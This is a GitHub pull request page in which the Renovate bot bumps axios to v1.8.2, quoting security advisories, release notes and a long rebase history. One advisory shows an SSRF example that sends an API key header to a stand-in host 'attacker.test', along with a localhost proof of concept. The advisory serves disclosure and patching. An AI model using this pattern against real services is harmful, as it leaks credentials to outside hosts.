Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency axios to v1 [security] #157

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Nov 12, 2023

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
axios (source) ^0.27.2 -> ^1.8.2 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2023-45857

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Release Notes

axios/axios (axios)

v1.8.2

Compare Source

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

v1.8.1

Compare Source

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.0

Compare Source

Bug Fixes
Features
Reverts
BREAKING CHANGES
  • code relying on the above will now combine the URLs instead of prefer request URL

  • feat: add config option for allowing absolute URLs

  • fix: add default value for allowAbsoluteUrls in buildFullPath

  • fix: typo in flow control when setting allowAbsoluteUrls

Contributors to this release

1.7.9 (2024-12-04)

Reverts
Contributors to this release

1.7.8 (2024-11-25)

Bug Fixes
Contributors to this release

1.7.7 (2024-08-31)

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

1.7.6 (2024-08-30)

Bug Fixes
Contributors to this release

1.7.5 (2024-08-23)

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) (fed1a4b)
  • fetch: fix credentials handling in Cloudflare workers (#​6533) (550d885)
Contributors to this release

1.7.4 (2024-08-13)

Bug Fixes
Contributors to this release

1.7.3 (2024-08-01)

Bug Fixes
Contributors to this release

1.7.2 (2024-05-21)

Bug Fixes
Contributors to this release

1.7.1 (2024-05-20)

Bug Fixes
  • fetch: fixed ReferenceError issue when TextEncoder is not available in the environment; (#​6410) (733f15f)
Contributors to this release

v1.7.9

Compare Source

Reverts
Contributors to this release

v1.7.8

Compare Source

Bug Fixes
Contributors to this release

v1.7.7

Compare Source

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

v1.7.6

Compare Source

Bug Fixes
Contributors to this release

v1.7.5

Compare Source

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) (fed1a4b)
  • fetch: fix credentials handling in Cloudflare workers (#​6533) (550d885)
Contributors to this release

v1.7.4

Compare Source

Bug Fixes
Contributors to this release

v1.7.3

Compare Source

Bug Fixes
Contributors to this release

v1.7.2

Compare Source

Bug Fixes
Contributors to this release

v1.7.1

Compare Source

Bug Fixes
  • fetch: fixed ReferenceError issue when TextEncoder is not available in the environment; (#​6410) (733f15f)
Contributors to this release

v1.7.0

Compare Source

Features
Bug Fixes
Contributors to this release

v1.6.8

Compare Source

Bug Fixes
  • AxiosHeaders: fix AxiosHeaders conversion to an object during config merging (#​6243) (2656612)
  • import: use named export for EventEmitter; (7320430)
  • vulnerability: update follow-redirects to 1.15.6 (#​6300) (8786e0f)
Contributors to this release

v1.6.7

Compare Source

Bug Fixes
  • capture async stack only for rejections with native error objects; (#​6203) (1a08f90)
Contributors to this release

v1.6.6

Compare Source

Bug Fixes
Contributors to this release

v1.6.5

Compare Source

Bug Fixes
Contributors to this release

v1.6.4

Compare Source

Bug Fixes
  • security: fixed formToJSON prototype pollution vulnerability; (#​6167) (3c0c11c)
  • security: fixed security vulnerability in follow-redirects (#​6163) (75af1cd)
Contributors to this release

v1.6.3

Compare Source

Bug Fixes
Contributors to this release

v1.6.2

Compare Source

Features
  • withXSRFToken: added withXSRFToken option as a workaround to achieve the old withCredentials behavior; (#​6046) (cff9967)
PRs
  • feat(withXSRFToken): added withXSRFToken option as a workaround to achieve the old `withCredentials` behavior; ( #​6046 )

📢 This PR added 'withXSRFToken' option as a replacement for old withCredentials behaviour. 
You should now use withXSRFToken along with withCredential to get the old behavior.
This functionality is considered as a fix.
Contributors to this release

v1.6.1

Compare Source

Bug Fixes
  • formdata: fixed content-type header normalization for non-standard browser environments; (#​6056) (dd465ab)
  • platform: fixed emulated browser detection in node.js environment; (#​6055) (3dc8369)
Contributors to this release
PRs
  • feat(withXSRFToken): added withXSRFToken option as a workaround to achieve the old `withCredentials` behavior; ( #​6046 )

📢 This PR added 'withXSRFToken' option as a replacement for old withCredentials behaviour. 
You should now use withXSRFToken along with withCredential to get the old behavior.
This functionality is considered as a fix.

v1.6.0

Compare Source

Bug Fixes
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459
Contributors to this release

1.5.1 (2023-09-26)

Bug Fixes
  • adapters: improved adapters loading logic to have clear error messages; (#​5919) (e410779)
  • formdata: fixed automatic addition of the Content-Type header for FormData in non-browser environments; (#​5917) (bc9af51)
  • headers: allow content-encoding header to handle case-insensitive values (#​5890) (#​5892) (4c89f25)
  • types: removed duplicated code (9e62056)
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

v1.5.1

Compare Source

Bug Fixes
  • adapters: improved adapters loading logic to have clear error messages; (#​5919) (e410779)
  • formdata: fixed automatic addition of the Content-Type header for FormData in non-browser environments; (#​5917) (bc9af51)
  • headers: allow content-encoding header to handle case-insensitive values (#​5890) (#​5892) (4c89f25)
  • types: removed duplicated code (9e62056)
Contributors to this release
PRs

⚠️ Critica

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/uiwjs/npm-unpkg).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy40Ni4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTg1LjQiLCJ0YXJnZXRCcmFuY2giOiJtYXN0ZXIifQ==-->

Copy link

vercel bot commented Nov 12, 2023

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name Status Preview Comments Updated (UTC)
npm-unpkg-ndtt ❌ Failed (Inspect) Mar 8, 2025 8:54am
1 Skipped Deployment
Name Status Preview Comments Updated (UTC)
npm-unpkg ⬜️ Ignored (Inspect) Visit Preview Mar 8, 2025 8:54am

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 561ea73 to 5729f5e Compare November 16, 2023 16:34
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 10 times, most recently from 1b62e17 to a9411d8 Compare December 3, 2023 15:23
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 30c9423 to d08ddcb Compare December 11, 2023 11:53
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 4 times, most recently from 972dc17 to 7cc9041 Compare January 9, 2024 13:38
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from db55b5d to cf4985e Compare January 16, 2024 15:05
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from dcdc264 to 4d100bc Compare January 28, 2024 15:55
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from be8530b to efeb470 Compare February 4, 2024 12:22
@renovate renovate bot changed the title fix(deps): update dependency axios to v1 [security] fix(deps): update dependency axios to ^0.28.0 [security] Feb 17, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 2660458 to 484dade Compare February 17, 2024 19:41
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.28.0 [security] fix(deps): update dependency axios to v1 [security] Feb 17, 2024
@renovate renovate bot changed the title fix(deps): update dependency axios to v1 [security] fix(deps): update dependency axios to v1 [security] - autoclosed Feb 20, 2024
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.29.0 [security] fix(deps): update dependency axios to ^0.28.0 [security] Dec 22, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 220ceec to ebfb8ad Compare December 22, 2024 19:56
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.28.0 [security] fix(deps): update dependency axios to ^0.29.0 [security] Jan 14, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from ebfb8ad to 55a22fb Compare January 14, 2025 22:31
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.29.0 [security] fix(deps): update dependency axios to ^0.28.0 [security] Jan 15, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 55a22fb to 42944bb Compare January 15, 2025 03:08
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.28.0 [security] fix(deps): update dependency axios to ^0.29.0 [security] Jan 23, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 42944bb to 888b99d Compare January 23, 2025 19:48
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.29.0 [security] fix(deps): update dependency axios to ^0.28.0 [security] Jan 24, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 888b99d to 9004974 Compare January 24, 2025 00:05
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.28.0 [security] fix(deps): update dependency axios to ^0.29.0 [security] Jan 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 9004974 to 445c677 Compare January 30, 2025 15:36
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.29.0 [security] fix(deps): update dependency axios to ^0.28.0 [security] Jan 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 445c677 to ab54227 Compare January 30, 2025 20:08
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from ab54227 to b843da1 Compare February 9, 2025 14:57
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.28.0 [security] fix(deps): update dependency axios to ^0.29.0 [security] Feb 9, 2025
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.29.0 [security] fix(deps): update dependency axios to ^0.28.0 [security] Feb 9, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from b843da1 to dc5c077 Compare February 9, 2025 18:40
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.28.0 [security] fix(deps): update dependency axios to ^0.29.0 [security] Mar 3, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from dc5c077 to 970e602 Compare March 3, 2025 13:41
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.29.0 [security] fix(deps): update dependency axios to ^0.28.0 [security] Mar 3, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 970e602 to 725938b Compare March 3, 2025 19:10
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 725938b to 013f25a Compare March 8, 2025 08:54
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.28.0 [security] fix(deps): update dependency axios to v1 [security] Mar 8, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants